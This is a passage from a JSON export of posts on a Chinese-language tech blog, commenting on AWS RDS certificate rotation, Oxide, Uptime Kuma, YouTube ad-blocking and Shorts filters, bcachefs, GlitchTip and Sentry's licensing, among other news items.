    "body": "<a href=\"https://aws.amazon.com/rds/\">Amazon RDS</a> 的 <a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\">TLS</a> (SSL) 連線所使用的 <a href=\"https://en.wikipedia.org/wiki/Certificate_authority\">CA</a> 要更新了：「<a href=\"https://aws.amazon.com/blogs/aws/rotate-your-ssl-tls-certificates-now-amazon-rds-and-amazon-aurora-expire-in-2024/\">Rotate Your SSL/TLS Certificates Now – Amazon RDS and Amazon Aurora Expire in 2024</a>」。\r\n\r\n如果沒有開 TLS 連線的話是不受影響 (像是內網裸奔)，但如果有在用 TLS 的話就要注意一下了，看起來得手動更新處理。\r\n\r\n比較特別的是新的 CA 簽的超長：\r\n\r\n<blockquote>Most SSL/TLS certificates (rds-ca-2019) for your DB instances will expire in 2024 after the certificate update in 2020. In December 2022, we released new CA certificates that are valid for 40 years (rds-ca-rsa2048-g1) and 100 years (rds-ca-rsa4096-g1 and rds-ca-ecc384-g1). So, if you rotate your CA certificates, you don’t need to do It again for a long time.</blockquote>\r\n\r\n現有的 rds-ca-2019 可以在 <a href=\"https://s3.amazonaws.com/rds-downloads/rds-ca-2019-root.pem\">https://s3.amazonaws.com/rds-downloads/rds-ca-2019-root.pem</a> 這邊取得，用 <code>openssl x509 -in rds-ca-2019-root.pem -text</code> 可以看到資料。\r\n\r\n到 <a href=\"https://crt.sh/\">crt.sh</a> 上翻過一些字串，沒看到被簽的記錄，所以看起來無法透過一般 trusted store 裡面的 Root CA 一路信任下來。\r\n\r\n新的 key 應該也是 Private Root CA，從名字看起來應該是對應的 key algorithm。其中 <a href=\"https://en.wikipedia.org/wiki/RSA_(cryptosystem)\">RSA</a> 2048 的簽了 40 年，而 RSA 4096 與 <a href=\"https://en.wikipedia.org/wiki/Elliptic-curve_cryptography\">ECC</a> 384 的簽了 100 年，雖然說是自家弄的 CA，但目前的 compliance 沒有要求 key rotation 嗎...\r\n\r\nAnyway，常用的區域基本上都是 August 22, 2024 這個日期，大約還有九個多月的時間更新，依照 AWS 的慣例，後面應該還會提醒幾次：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1698236621-92d56bca.webp\" /><img src=\"https://i.gslin.com/s/1698236621-92d56bca.png\" alt=\"\" /></picture>\r\n\r\n話說 2020 年的時候也有更新，當時是 <a href=\"https://twitter.com/jeffbarr\">Jeff Barr</a> 出來說明的：「<a href=\"https://aws.amazon.com/blogs/aws/urgent-important-rotate-your-amazon-rds-aurora-and-documentdb-certificates/\">Urgent &amp; Important – Rotate Your Amazon RDS, Aurora, and Amazon DocumentDB (with MongoDB compatibility) Certificates</a>」，現在看起來一些常態性的說明都陸續交棒給 <a href=\"https://twitter.com/channyun\">Channy Yun</a> 了...\r\n\r\n不過這次這樣搞 40 年 &amp; 100 年，後續要更新應該都是演算法的推進了，比較不會是要到期...",
    "title": "Amazon RDS 的 TLS 連線所使用的 CA 要更新了"
  },
  {
    "id": "11405",
    "body": "在 <a href=\"https://www.cnbc.com/\">CNBC</a> 上看到的新聞，<a href=\"https://aws.amazon.com/\">AWS</a> 打算在歐洲建立一個完全獨立的 Cloud 系統：「<a href=\"https://www.cnbc.com/2023/10/25/amazon-launches-european-sovereign-cloud-as-eu-data-debate-rages.html\">Amazon launches European ‘sovereign’ cloud as EU data debate rages</a>」。\r\n\r\nAWS European Sovereign Cloud 會是完全獨立的 cloud：\r\n\r\n<blockquote>Amazon on Wednesday said it will launch an independent cloud for Europe aimed at companies in highly-regulated industries and the public sector.</blockquote>\r\n\r\n這邊講的「完全獨立」，除了東西都放在歐洲以外，連員工都是歐盟員工：\r\n\r\n<blockquote>Customers of the new system will be able to keep certain data in the European Union and only EU-resident AWS employees who are located in the 27-nation bloc will have control of the operations and support for the sovereign cloud.</blockquote>\r\n\r\n這個作法倒是頗特別的，看起來是想要試著說服歐盟這樣是 OK 的？推出的時候可以看看還有什麼特別的東西？",
    "title": "AWS 要在歐洲建立一個完全獨立的 Cloud 系統"
  },
  {
    "id": "11406",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://oxide.computer/blog/the-cloud-computer\">The Cloud Computer</a>」這篇行銷新聞稿被衝了很高，翻了一下討論「<a href=\"https://news.ycombinator.com/item?id=38023891\">Oxide: The Cloud Computer (oxide.computer)</a>」，裡面看到不少有趣的東西。\r\n\r\n行銷新聞稿裡面包裝的很「行銷」，如果看完後可以理解 Oxide Cloud Computer 其實就是賣機櫃，裡面包好一個 mini <a href=\"https://aws.amazon.com/\">AWS</a> 需要的硬體與軟體。\r\n\r\n這個機櫃裡的硬體部分可以在「<a href=\"https://oxide.computer/product/specifications\">Specifications</a>」這邊看到，裡面有主機、網路與電供這些東西，而且照他提到的 60cm * 106cm 的佔地面積需要 1145kg，一般辦公建築物沒辦法直接放，需要用架高地板的方式把重量打散掉，而且放好幾台的時候應該需要找結構工程師重新計算安全性；如果是機房的話應該是有機會直接塞進去 (因為前面的事情都先考慮過了)。\r\n\r\n軟體的部分則是在 <a href=\"https://news.ycombinator.com/item?id=38024259\">id=38024259</a> 裡面看到的，上面是用 <a href=\"https://illumos.org/\">Illumos</a> 當作 hypervisor，這是 <a href=\"https://en.wikipedia.org/wiki/OpenSolaris\">OpenSolaris</a> 的 fork，這個選擇還蠻特別的，不是選 Linux-based 的系統來包，不確定是不是考慮到 license 的問題：\r\n\r\n<blockquote>The hypervisor OS is based on Illumos, which was forked from OpenSolaris, and it uses Bhyve from FreeBSD for virtualization.</blockquote>\r\n\r\n另外在 <a href=\"https://news.ycombinator.com/item?id=38026273\">id=38026273</a> 這邊也有一些解讀，可以了解 <a href=\"https://oxide.computer/\">Oxide</a> 在 Illumos 上面重新實作了 <a href=\"https://www.openstack.org/\">OpenStack</a> 的功能 (也可以看做 mini AWS)：\r\n\r\n<blockquote>Oh. I get what this is. It's a \"cloud\" mainframe. They're trying to be the Apple of mainframes.\r\n\r\nReinvent OpenStack, slap it on some 8Us and storage arrays, shove it in a rack, and ship it to a colo with a professional installer. So basically one of the larger server vendors but with integrated \"cloud\" software, minus the 2-hour service turnaround and spare parts.\r\n\r\nThe fact that they're writing the software from scratch is going to add years of lead time until they reach parity with other solutions. My guess is they're hoping they can get sticker price or TCO low enough that it outweighs the lack of functionality and uncertainty of a brand new everything. If you just need some VMs in a lab in the office closet, might work.</blockquote>\r\n\r\n可以想到的 TA... 馬上可以想到的是，需要把資料都控制在自家的公司 (像是金融法規/軍方/TSMC/...)，這些公司在這之前的路線會是買硬體後上 <a href=\"https://www.vmware.com/\">VMware</a>、<a href=\"https://www.citrix.com/\">Citrix</a> 或是 OpenStack 之類的方案，這些方案除了可以自己養人，應該也都有 SI 可以付費代操。而 Oxide 這次給出來的方案則是都包掉？不過 SI 也可以去包 bare-metal server 來賣就是了...\r\n\r\n其他的暫時想不到，畢竟 ecosystem 還是很重要，Oxide 推出的東西沒有特別吸引人的地方，也許看看還能怎麼包裝跟想像？",
    "title": "Oxide 推出的 Oxide Cloud Computer"
  },
  {
    "id": "11407",
    "body": "<a href=\"https://uptimerobot.com/\">UptimeRobot</a> 算是我自己還蠻喜歡用的監控服務，各種常見的類型都支援，像是 HTTP/HTTPS website 的監控，ICMP Ping 或是 TCP 的監控，另外也提供 SSL certificate 的監控。\r\n\r\n前陣子找資料的時候找到 <a href=\"https://github.com/louislam/uptime-kuma\">Uptime Kuma</a>，這是香港的 <a href=\"https://louislam.net/\">Louis Lam</a> 開發的 open source software，光看名字就懷疑是 UptimeRobot 的致敬版本，裝起來用過後就更確定...\r\n\r\n差不多用了一個多月了，基本上功能還蠻完整的，我把他接到我自己的 <a href=\"https://slack.com/\">Slack</a> 以及 <a href=\"https://pushover.net/\">Pushover</a> 上，就很方便的可以監控服務：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1698382647-570c9e70.webp\" /><img src=\"https://i.gslin.com/s/1698382647-570c9e70.png\" alt=\"\" /></picture>\r\n\r\n挑一個點：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1698382725-505e8ee1.webp\" /><img src=\"https://i.gslin.com/s/1698382725-505e8ee1.png\" alt=\"\" /></picture>",
    "title": "Uptime Kuma：UptimeRobot 的 Open Source Clone"
  },
  {
    "id": "11409",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://www.acm.org/\">ACM</a> 宣佈停止發行紙本：「<a href=\"https://news.ycombinator.com/item?id=38033385\">Ceasing print publication of ACM journals and transactions (acm.org)</a>」，原公告在「<a href=\"https://www.acm.org/publications/ceasing-print\">Ceasing Print Publication of ACM Journals and Transactions</a>」。\r\n\r\n從 2024 年一月開始停止紙本版本的發行，除了列出來的例外：\r\n\r\n<blockquote>ACM has made the decision to cease print publication for ACM’s journals and transactions as of January 2024. The magazines Communications of the ACM, ACM InRoads, interactions, and XRDS: Crossroads will continue in print.</blockquote>\r\n\r\n一方面降低成本，而替代方案就是有需要的人可以自己印，挑自己習慣的方式閱讀...",
    "title": "ACM 宣佈停止發行紙本 (Journal 與 Transaction)"
  },
  {
    "id": "11410",
    "body": "<a href=\"https://www.google.com/\">Google</a> 的 SRE 團隊整理出過去二十年的心得，當看故事的心態在看的：「<a href=\"https://sre.google/resources/practices-and-processes/twenty-years-of-sre-lessons-learned/\">Lessons Learned from Twenty Years of Site Reliability Engineering</a>」，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上也有討論：「<a href=\"https://news.ycombinator.com/item?id=38037141\">Lessons Learned from Twenty Years of Site Reliability Engineering (sre.google)</a>」。\r\n\r\n裡面的項目大多都會在公司成長時不斷的導入，都是夠大就會遇到的。\r\n\r\n比較有趣的是第六條，這是唯一一條全部都用大寫字母列出來的：\r\n\r\n<blockquote>COMMUNICATION CHANNELS! AND BACKUP CHANNELS!! AND BACKUPS FOR THOSE BACKUP CHANNELS!!!</blockquote>\r\n\r\n到 Google 這個規模的架構，這邊就會規劃找完全獨立於 Google 架構的方案來用；我猜應該是傳統的 colocation 機房 (像是 AT&amp;T 之類的)，上面跑 IRC server 之類的？\r\n\r\n在 Hacker News 上面也有其他人提到 <a href=\"https://www.netflix.com/\">Netflix</a> 也有類似的規劃，需要有一個備援的管道是完全獨立於 <a href=\"https://aws.amazon.com/\">AWS</a> 的；另外同一則 comment 裡也有提到 <a href=\"https://old.reddit.com/\">Reddit</a> 的作法是在辦公室裡面放 IRC server 備援：\r\n\r\n<blockquote>Yes! At Netflix, when we picked vendors for systems that we used during an outage, we always had to make sure they were not on AWS. At reddit we had a server in the office with a backup IRC server in case the main one we used was unavailable.</blockquote>\r\n\r\nIRC 還是很好用的 XD",
    "title": "Google SRE 團隊整理出過去二十年的十一條心得"
  },
  {
    "id": "11412",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的討論，在 <a href=\"https://twitter.com/elonmusk\">Elon Musk</a> 接手後的 <a href=\"https://x.com/\">X</a> (<a href=\"https://twitter.com/\">Twitter</a>)，工程團隊做了什麼事情：「<a href=\"https://news.ycombinator.com/item?id=38044410\">X Engineering Year Retrospective (twitter.com/xeng)</a>」，原推在：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">This has been a year full of engineering excellence that sometimes can go unnoticed. Besides all the visible changes you see on our app, here are some of the most important improvements we have made under the hood.<br><br>- Consolidated the tech stacks for For you, Following, Search,…</p>&mdash; Engineering (@XEng) <a href=\"https://twitter.com/XEng/status/1717754398410240018?ref_src=twsrc%5Etfw\">October 27, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n其中裡面有些蠻有趣的，出現了一些平常不太會出現的數字資訊。\r\n\r\n我比較有興趣的關掉了加州 Sacramento DC 的這個部分，而光是這個 DC 就有 148k 台 server (是 server，不是 VM 或是 container)，而且也提到電力少了 48MW，看起來是把這些 server 廢掉，而不是轉到其他機房？\r\n\r\n<blockquote>- Shutdown the Sacramento data center and re-provisioned the 5,200 racks and 148,000 servers, which generated more than $100M in annual savings. In total, we freed up 48 MW of capacity and tore down 60k lbs. of network ladder rack before re-provisioning it to other data centers.</blockquote>\r\n\r\n話說一個 Twitter 機房用 48MW... 查了一下台電網站，<a href=\"https://zh.wikipedia.org/wiki/%E7%AC%AC%E4%B8%89%E6%A0%B8%E8%83%BD%E7%99%BC%E9%9B%BB%E5%BB%A0\">核三</a>的一個機組的供電量也才 951MW：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1698533409-0ec4819f.webp\" /><img src=\"https://i.gslin.com/s/1698533409-0ec4819f.png\" alt=\"\" /></picture>\r\n\r\n而且 Twitter 服務要用到 148k server，hmmm...",
    "title": "X (Twitter) 的工程團隊列出了最近做的事情"
  },
  {
    "id": "11415",
    "body": "先在 <a href=\"https://news.ycombinator.com/\">HN</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=38032169\">USB Power Delivery for Hobby Projects (flameeyes.blog)</a>」這則，原文是「<a href=\"https://flameeyes.blog/2023/08/13/usb-power-delivery-for-hobby-projects/\">USB Power Delivery For Hobby Projects</a>」，裡面提到了很多想要從 <a href=\"https://en.wikipedia.org/wiki/USB-PD\">USB-PD</a> 裡面取出電流的搞法，不過在 HN 的 <a href=\"https://news.ycombinator.com/item?id=38057797\">id=38057797</a> 裡面有提到這搞的有點複雜，可以直接買 USB-PD 的誘騙器輸出對應的電壓：\r\n\r\n<blockquote>Most of the rest seems to be over-engineering. You can get a ready-made \"PD Trigger\" board for literally $1 [0], which will allow you to select the desired voltage using jumpers. It even has support for the non-standard (although still common) 12V profile. Or, if you really want to do it using software, grab a $6 one from Adafruit [1] which comes with a tutorial and Arduino library.</blockquote>\r\n\r\n其中的 [0] 是「<a href=\"https://www.aliexpress.com/item/1005003828144045.html\">PD/QC/AFC fast charge decoy trigger support 5V 9V 12V 15V 20V fixed voltage output</a>」這個，可以直接調整 switch S1 S2 S3 選擇輸出的電壓：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1698618522-3d136417.webp\" /><img src=\"https://i.gslin.com/s/1698618522-3d136417.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1698618565-85f77e02.webp\" /><img src=\"https://i.gslin.com/s/1698618565-85f77e02.png\" alt=\"\" /></picture>\r\n\r\n不過不知道遇到沒有支援的電壓輸出時會怎麼樣 (像是有些變壓器只支援 5V 與 9V)，我猜就是輸出 5V 而且不足電流，然後導致後面的設備不會動？另外比較大的問題就是不知道最大的電流與保護 XDDD\r\n\r\n而 [1] 則是「<a href=\"https://www.adafruit.com/product/5807\">Adafruit USB Type C Power Delivery Dummy Breakout - I2C or Fixed - HUSB238</a>」，除了可以自己改線路設定電壓與最大電流外 (看起來直接一坨錫連過去，或是劃開預設的 5V 1A 的設定導線)，也可以用 <a href=\"https://en.wikipedia.org/wiki/I%C2%B2C\">I²C</a> 動態設定 decoy trigger：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1698618923-cd61d2cf.webp\" /><img src=\"https://i.gslin.com/s/1698618923-cd61d2cf.png\" alt=\"\" /></picture>\r\n\r\n這個看起來至少有個上限擋著？",
    "title": "USB PD 的誘騙器"
  },
  {
    "id": "11416",
    "body": "在 <a href=\"https://news.ycombinator.com/\">HN</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=38068801\">Raspberry Pi 5 has no hardware video encoding and only HEVC decoding (raspberrypi.com)</a>」，原文指到 <a href=\"https://www.raspberrypi.com/news/introducing-raspberry-pi-5/#comment-1594055\">Gordon Hollingworth 的回覆</a>這邊，可以看到這是上個月的消息了。\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Raspberry_Pi\">Raspberry Pi</a> 一直都有硬體 <a href=\"https://en.wikipedia.org/wiki/H.264\">H.264</a> encoding 的能力，不過這個在 Raspberry Pi 5 上被拿掉了，所以得用軟體壓。\r\n\r\n官方有提到 Raspberry Pi 5 的 CPU 因為比之前快很多，單顆就有辦法做到 1080p60 (而 RPi5 有 4 CPU)，所以除了 power consumption 以外應該不是大問題：\r\n\r\n<blockquote>Obviously, the bad thing is the power consumption, but actually it only takes around 1 processor to encode 1080p60 with our default settings (which is still better quality than the PI 4 hardware encoder).</blockquote>\r\n\r\n不過 HN 上猜是授權費用之類的問題，我在想是不是新的晶片組的 encoding license 都綁在一起，H.264 + <a href=\"https://en.wikipedia.org/wiki/H.265\">H.265</a> 得一包一起買，而 H.265 的授權費是眾所皆知的貴...\r\n\r\n當 desktop 應該是還好，但就心裡有個底...",
    "title": "Raspberry Pi 5 拿掉硬體的 H.264 encoding"
  },
  {
    "id": "11417",
    "body": "最近用 <a href=\"https://github.com/gorhill/uBlock\">uBlock Origin</a> 或是其他擋廣告軟體的都加減會遇到 <a href=\"https://www.youtube.com/\">YouTube</a> 阻擋擋廣告軟體的事情，然後在 <a href=\"https://news.ycombinator.com/\">HN</a> 上面看到「<a href=\"https://andadinosaur.com/youtube-s-anti-adblock-and-ublock-origin\">Youtube’s Anti-adblock and uBlock Origin</a>」，對應的討論在「<a href=\"https://news.ycombinator.com/item?id=38061187\">YouTube's Anti-Adblock and uBlock Origin (andadinosaur.com)</a>」這邊。\r\n\r\n先說一下目前的解法可以參考「<a href=\"https://old.reddit.com/r/uBlockOrigin/comments/178yasm/youtube_antiadblock_and_ads_october_16_2023/\">YouTube Anti-Adblock and Ads - October 16, 2023 (Weekly Thread)</a>」這篇說明，目前的建議就是每天睡醒後更新一下清單 (block list)，讓清單是最新的。\r\n\r\n這邊的清單不需要全部更新，只需要針對「uBlock filters – Quick fixes」這組就可以了，方法是點一下他的時鐘部分，然後再按上面的 Update Now 更新就可以了 (我是英文版介面，中文版的話應該是中文的...)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1698715489-a95592c1.webp\" /><img src=\"https://i.gslin.com/s/1698715489-a95592c1.png\" alt=\"\" /></picture>\r\n\r\n基本上就是個貓抓老鼠的過程，最近更新的會很頻繁。\r\n\r\n另外一個最近開始用，也很推薦的套件「<a href=\"https://chrome.google.com/webstore/detail/sponsorblock-for-youtube/mnjggcdmjocbbbhaepdhchncahnbgone\">SponsorBlock for YouTube - Skip Sponsorships</a>」，可以跳過業配片段。",
    "title": "最近 YouTube 在阻擋擋廣告軟體的事情"
  },
  {
    "id": "11418",
    "body": "短影音類的影片因為沒有知識量 (沒有 reference 可以確認正確性)，我完全不會看... 但 <a href=\"https://www.youtube.com/\">YouTube</a> 上一般的影音我會翻，所以就會冒出這個需求了。\r\n\r\nYouTube 的短影音有幾個地方會出現 (補充一下，我這邊是用英文版介面)：\r\n\r\n<ul>\r\n\t<li>首頁的左邊，會有一個 Shorts 的連結可以點進 Shorts 看。</li>\r\n\t<li>首頁的推薦裡面也會有 Shorts 的 section。</li>\r\n</ul>\r\n\r\n這兩個情況用這兩條擋：\r\n\r\n<pre>www.youtube.com##a[title=\"Shorts\"]\r\nwww.youtube.com##ytd-rich-section-renderer</pre>\r\n\r\n這邊要注意的是，後者除了擋掉 Shorts 以外，還會擋掉各種 YouTube 的推銷 (像是電影之類的)，這個也是我要擋的，所以我這邊直接用了 <code>ytd-rich-section-renderer</code> 這個元素來擋。\r\n\r\n再來是各種穿插在頁面裡面的 Shorts 內容，像是首頁、訂閱頁與搜尋結果頁，這些就要找出對應的元素來擋：\r\n\r\n<pre>www.youtube.com##ytd-reel-shelf-renderer\r\nwww.youtube.com##ytd-video-renderer:has(a[href*=\"/shorts/\"])</pre>\r\n\r\n另外一個跟短影音無關，但還是很影響專注度的是，YouTube 的搜尋結果會給你一堆很干擾結果的推薦，像是「People also watched」、「For you」、「Previously watched」以及「From related searches」，也可以設定擋掉：\r\n\r\n<pre>www.youtube.com##:matches-path(/results) ytd-shelf-renderer[thumbnail-style]</pre>\r\n\r\n目前用的差不多是這些...",
    "title": "擋 YouTube 短影音的設定"
  },
  {
    "id": "11419",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2023/10/12/11393/google-groups-%E7%9A%84%E5%B7%A8%E9%87%8F-spam/\">Google Groups 的巨量 spam</a>」這邊提到從 Google Groups 倒進 usenet 大量的 spam，最近看起來稍微緩解了一些。\r\n\r\n這是 10/22 的量：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1698737014-0cdd4609.webp\" /><img src=\"https://i.gslin.com/s/1698737014-0cdd4609.png\" alt=\"\" /></picture>\r\n\r\n這是 10/29 的量：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1698737058-46f53976.webp\" /><img src=\"https://i.gslin.com/s/1698737058-46f53976.png\" alt=\"\" /></picture>\r\n\r\n可以看出來整體被 Perl filter 擋下來的量大幅降低了，在 <a href=\"https://groups.google.com/g/comp.lang.c\">comp.lang.c</a> 也可以看出來 10/28 後似乎暫時停了...？\r\n\r\n只能繼續觀察看看了...",
    "title": "從 Google Groups 送出來的 spam 數量稍微下降..."
  },
  {
    "id": "11420",
    "body": "<a href=\"https://news.ycombinator.com/\">HN</a> 上面看到「<a href=\"https://news.ycombinator.com/item?id=38081633\">German court declares Do Not Track to be legally binding (vzbv.de)</a>」這個消息，原文是德文：「<a href=\"https://www.vzbv.de/urteile/gericht-untersagt-datenschutzverstoesse-von-linkedin\">Gericht untersagt Datenschutzverstöße von LinkedIn</a>」，Google Translation 翻譯的結果：「<a href=\"https://www-vzbv-de.translate.goog/urteile/gericht-untersagt-datenschutzverstoesse-von-linkedin?_x_tr_sl=auto&amp;_x_tr_tl=en&amp;_x_tr_hl=en&amp;_x_tr_pto=wapp\">Court bans LinkedIn data protection violations</a>」。\r\n\r\n<a href=\"https://www.linkedin.com/\">LinkedIn</a> 告知使用者他們不會理會 <a href=\"https://en.wikipedia.org/wiki/Do_Not_Track\">DNT</a>，德國法院則是認為 DNT header 是已經告知對方不願意被追蹤了：\r\n\r\n<blockquote>„Wenn Verbraucher:innen die ,Do-Not-Track‘-Funktion ihres Browsers aktivieren, ist das eine klare Botschaft: Sie wollen nicht, dass ihr Surfverhalten für Werbe- und andere Zwecke ausgespäht wird“, sagt Rosemarie Rodden, Rechtsreferenin beim vzbv. „Webseitenbetreiber müssen dieses Signal respektieren.“</blockquote>\r\n\r\n<blockquote>“When consumers activate the 'Do Not Track' function of their browser, it sends a clear message: They do not want their surfing behavior to be spied on for advertising and other purposes,” says Rosemarie Rodden, legal officer at vzbv. “Website operators must respect this signal.”</blockquote>\r\n\r\n這好像是第一次看到 DNT 相關的法律判決？可以看看後續有沒有新的消息 (上訴之類的)，來看看最終的判決會是怎麼樣。",
    "title": "德國法院認為 DNT header 具有法律的告知效力"
  },
  {
    "id": "11421",
    "body": "<a href=\"https://news.ycombinator.com/\">HN</a> 上「<a href=\"https://news.ycombinator.com/item?id=38083588\">AV1 video codec gains broader hardware support (fullystacked.net)</a>」這篇在說 <a href=\"https://en.wikipedia.org/wiki/AV1\">AV1</a> 的支援度變得更好了，原文不長，在「<a href=\"https://fullystacked.net/posts/av1/\">The AV1 video codec gains broader hardware support</a>」這邊。\r\n\r\n在 <a href=\"https://caniuse.com/\">Can I Use</a> 上的 <a href=\"https://caniuse.com/av1\">AV1 video format</a> 可以看的比較清楚：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1698766580-eb1c4443.webp\" /><img src=\"https://i.gslin.com/s/1698766580-eb1c4443.png\" alt=\"\" /></picture>\r\n\r\n不過在瀏覽器上離直接取代掉其他的 video codec 還早，但算是個起頭，至少 iPhone 15 Pro 與 iPhone 15 Pro Max 上的 Safari 支援了，接下來就是看桌機的 Edge 什麼時候才又想到要把 AV1 開回來：\r\n\r\n<blockquote>Edge has stopped supporting AV1 completely at some point prior to version 116 (additional information required).</blockquote>",
    "title": "最近 AV1 的支援度"
  },
  {
    "id": "11422",
    "body": "<a href=\"https://bcachefs.org/\">Bcachefs</a> 是 Linux 下一個新的 filesystem (但也發展了好幾年)，剛剛看到進入 <a href=\"https://www.kernel.org/\">Linux Kernel</a> 6.7 的主線了：「<a href=\"https://www.phoronix.com/news/Bcachefs-Merged-Linux-6.7\">Bcachefs Merged Into The Linux 6.7 Kernel</a>」。\r\n\r\n看起來沒搭上 6.6 的列車 (前幾天出的，2023/10/30)，但以目前 Linux Kernel 的步調來看，6.7 應該是兩個月後就會釋出，<a href=\"https://www.ubuntu.com/\">Ubuntu</a> 有機會在明年的 24.04 內建...\r\n\r\n從官網列出來的功能可以知道，Bcachefs 實作了很多現代 filesystem 會發展的功能，像是 compression、encryption 以及 snapshots，另外底層也實作了 checksum 與 copy on write。\r\n\r\n這樣看起來，Bcachefs 目前在 Linux 上主要的競爭對象應該會是 <a href=\"https://en.wikipedia.org/wiki/OpenZFS\">OpenZFS</a>。真正的比較應該會等到 6.7 的 rc 版本就會有人下去測，到時候再看看，甚至看看有沒有機會取代 <a href=\"https://en.wikipedia.org/wiki/Ext4\">ext4</a> 變成預設的 filesystem。",
    "title": "Bcachefs 進入 Linux Kernel 6.7 主線了"
  },
  {
    "id": "11423",
    "body": "<a href=\"https://glitchtip.com/\">GlitchTip</a> 是 <a href=\"https://sentry.io/\">Sentry</a> 的替代品，你仍然可以用 Sentry SDK 發送錯誤訊息，但接收端則是換成 GlitchTip。\r\n\r\n<del>Sentry 本身已經是 open source software 了 (可以在 <a href=\"https://github.com/getsentry/self-hosted\">getsentry/self-hosted</a> 這邊裝)</del> (參考「<a href=\"https://blog.gslin.org/archives/2023/11/02/11424/sentry-%e7%9a%84-license-%e4%b8%8d%e6%98%af-open-source-license/\">Sentry 的 License 不是 Open Source License...</a>」)，但最近的版本愈來愈肥，8GB RAM + 512MB Swap 的機器，光跑起來就蠻吃緊的。\r\n\r\n對於在 <a href=\"https://aws.amazon.com/\">AWS</a> 的人來說，這等於被迫要用 16GB RAM 的機器跑 Sentry，像是 <code>r6a.large</code> (在 <code>us-east-1</code> 為 $0.1134/hr，約 $81.6/mo)，如果是一年 RI 的話可以六折，三年 RI 可以四折，是有點費用，但這個費用對於公司用戶來說通常沒有太大問題。\r\n\r\n<a href=\"https://cloud.google.com/\">GCP</a> 的話也類似，但可以開 10GB RAM 來用，真的有用到的時候再逐步拉高記憶體空間，不過成本結構跟 AWS 是差不多的，所以對於公司也不是太大問題。\r\n\r\n但對個人來說，光一個 Sentry 一個月就得花個 $80/mo 實在是太貴，而且考慮到這兩年的 Sentry 愈來愈沒有在管記憶體用量了：從之前 4GB RAM 能跑，到現在 8GB RAM 光開機就沒有 free memory，可以想像之後應該會愈來愈肥，所以試著找了替代方案。\r\n\r\n目前看到的替代方案是 GlitchTip，在 server 端吃同樣的 input，所以 client 端可以維持原來的 sentry sdk，可以用雲端服務，也可以自己架設：「<a href=\"https://glitchtip.com/documentation/install\">GlitchTip Installation Guide</a>」。\r\n\r\n跑起來後大約吃 500MB RAM，基本的功能都有，包括基本的 event group &amp; call stack information，以及常用的 integration (像是 E-mail 通知與 <a href=\"https://slack.com/\">Slack</a> 通知)，但畫面上沒有 Sentry 那麼好看，不過還算是乾淨。\r\n\r\n有些功能要找文件 trial and error，跟 Sentry 文件相比起來完整度差一點，但還行...。\r\n\r\n目前看起來自己用可以用這個，Sentry 真的太胖了...",
    "title": "Sentry 的替代品：GlitchTip"
  },
  {
    "id": "11424",
    "body": "前一篇「<a href=\"https://blog.gslin.org/\">Sentry 的替代品：GlitchTip</a>」我自己提到：\r\n\r\n<blockquote>Sentry 本身已經是 open source software 了</blockquote>\r\n\r\n結果在 <a href=\"https://news.ycombinator.com/\">HN</a> 上面馬上就看到討論：「<a href=\"https://news.ycombinator.com/item?id=38096955\">Sentry: From the Beginning (cra.mr)</a>」，其中 <a href=\"https://news.ycombinator.com/item?id=38097463\">id=38097463</a> 這邊提到：\r\n\r\n<blockquote>The article doesn't appear to mention that Sentry abandoned open source.</blockquote>\r\n\r\n在 <a href=\"https://github.com/getsentry/self-hosted/blob/master/LICENSE\">LICENSE</a> 這個檔案的記錄 <a href=\"https://github.com/getsentry/self-hosted/commits/master/LICENSE\">History for LICENSE</a> 裡慢慢翻，可以翻到 <a href=\"https://www.apache.org/licenses/LICENSE-2.0\">Apache License, Version 2.0</a> 是在 <a href=\"https://github.com/getsentry/self-hosted/commit/2589cbef43659151e70fd3d20eb8b34d7f1f574f\">2589cbef43659151e70fd3d20eb8b34d7f1f574f</a> (2019/06/11) 這邊加進去的，而變成 BSL 是在 <a href=\"https://github.com/getsentry/self-hosted/commit/e2b7c743af70e192588d843512412e653eddab17\">e2b7c743af70e192588d843512412e653eddab17</a> (2019/11/07) 這邊發生的，另外也有對應的 blog 文章：「<a href=\"https://blog.sentry.io/relicensing-sentry/\">Re-Licensing Sentry</a>」。",
    "title": "Sentry 的 License 不是 Open Source License..."
  },
  {
    "id": "11426",
